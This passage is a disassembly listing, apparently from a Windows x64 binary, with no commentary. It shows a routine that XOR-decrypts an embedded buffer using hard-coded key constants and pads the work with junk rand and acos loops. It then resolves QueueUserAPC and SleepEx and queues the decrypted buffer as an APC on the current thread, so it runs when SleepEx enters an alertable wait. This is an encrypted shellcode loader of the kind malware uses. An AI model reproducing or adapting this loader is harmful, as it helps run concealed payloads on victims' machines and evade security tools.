mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0xd7a366b657bc7592
movabs rdx, 0x8cc72d6305a86964
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x8ab12b538824c24f
movabs rdx, 0xae2cef7f70fd511
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x7a5c6d3593d605bd
movabs rdx, 0xb199599a95471010
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x8637aed3cc32bc59
movabs rdx, 0x48b6d7b15ccd8684
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x4401e348b6d7b15c
movabs rdx, 0x1af6c761d94385
mov qword [rbp + 0xab], rax
mov qword [rbp + 0xb3], rdx
mov dword [rbp + 0x774], 0
jmp 0x140002b7d
cmp dword [rbp + 0x770], 0x59
jne 0x140002a3f
mov eax, dword [rbp + 0x774]
cdqe
movzx edx, byte [rbp + rax + 0x10]
mov eax, dword [rbp + 0x770]
cdqe
movzx eax, byte [rbp + rax + 0x60]
xor edx, eax
mov eax, dword [rbp + 0x774]
cdqe
mov byte [rbp + rax - 0x40], dl
mov dword [rbp + 0x770], 0
jmp 0x140002b76
mov eax, dword [rbp + 0x774]
cdqe
movzx edx, byte [rbp + rax + 0x10]
mov eax, dword [rbp + 0x770]
cdqe
movzx eax, byte [rbp + rax + 0x60]
xor edx, eax
mov eax, dword [rbp + 0x774]
cdqe
mov byte [rbp + rax - 0x40], dl
mov ecx, 0x548
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5a8], rax
mov dword [rbp + 0x768], 0
jmp 0x140002ac2
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x768]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x5a8]
add rax, rdx
movsd xmm1, qword [0x1400065e0]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x768], 1
cmp dword [rbp + 0x768], 0xa8
jle 0x140002a84
mov dword [rbp + 0x768], 0
jmp 0x140002b5f
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x768]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x5a8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x768]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x5a8]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003e50
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x768], 1
cmp dword [rbp + 0x768], 0xa8
jle 0x140002add
add dword [rbp + 0x770], 1
add dword [rbp + 0x774], 1
mov eax, dword [rbp + 0x774]
cmp eax, 0x41
jbe 0x1400029ff
mov dword [rbp + 0x774], 0
jmp 0x140002c3a
cmp dword [rbp + 0x76c], 0x41
jne 0x140002bee
mov eax, dword [rbp + 0x774]
movsxd rdx, eax
mov rax, qword [rbp + 0x5d8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x76c]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x774]
movsxd rdx, eax
mov rax, qword [rbp + 0x5d8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x76c], 0
jmp 0x140002c33
mov eax, dword [rbp + 0x774]
movsxd rdx, eax
mov rax, qword [rbp + 0x5d8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x76c]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x774]
movsxd rdx, eax
mov rax, qword [rbp + 0x5d8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x76c], 1
add dword [rbp + 0x774], 1
cmp dword [rbp + 0x774], 0x491
jle 0x140002b9b
mov rax, qword [rbp + 0x5d8]
mov qword [rbp + 0x5c8], rax
mov rax, qword [rbp + 0x750]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5c0], rax
mov rax, qword [rbp + 0x750]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5b8], rax
mov dword [rbp + 0x764], 0xffffffff
mov ecx, 0x1528
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5b0], rax
add dword [rbp + 0x764], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065e0]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x764]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x5b0]
add rax, rdx
movsd xmm1, qword [0x1400065e8]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x764]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x5b0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x764]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x5b0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x764], 0x2a3
jle 0x140002cb5
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x5c8]
mov r9, qword [rbp + 0x5c0]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x5b8]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
add rsp, 0x858
pop rbx
pop rsi
pop rdi
pop rbp
ret